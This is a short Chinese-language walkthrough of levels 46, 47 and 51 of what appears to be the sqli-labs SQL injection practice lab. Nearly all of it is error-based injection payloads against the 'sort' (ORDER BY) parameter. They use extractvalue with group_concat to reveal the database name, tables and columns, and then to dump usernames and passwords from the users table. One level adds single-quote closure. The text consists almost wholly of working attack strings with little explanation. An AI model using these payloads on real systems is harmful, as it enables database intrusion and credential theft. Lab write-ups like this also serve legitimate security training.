46、第四十六关

参数是sort

4+and+extractvalue(1,concat(0x7e,database()))

4+and+extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))

4+and+extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') ))

47、第四十七关

sort=1

sort=2

sort=3

sort=4

应该是报错了，一共三个字段，不显示错误可以用时间盲注

有报错信息，试一下报错注入

sort=10+and+extractvalue(1,concat(0x7e,database()))

sort=10+and+extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))

sort=10+and+extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))

sort=10+and+extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from security.users)))

51、第五十一关

有报错信息，还得报错注入，单引号闭合

sort=3'+and+extractvalue(1,concat(0x7e,database()))--+

sort=3'+and+extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+

sort=3'+and+extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))--+

sort=3'+and+extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from security.users)))--+
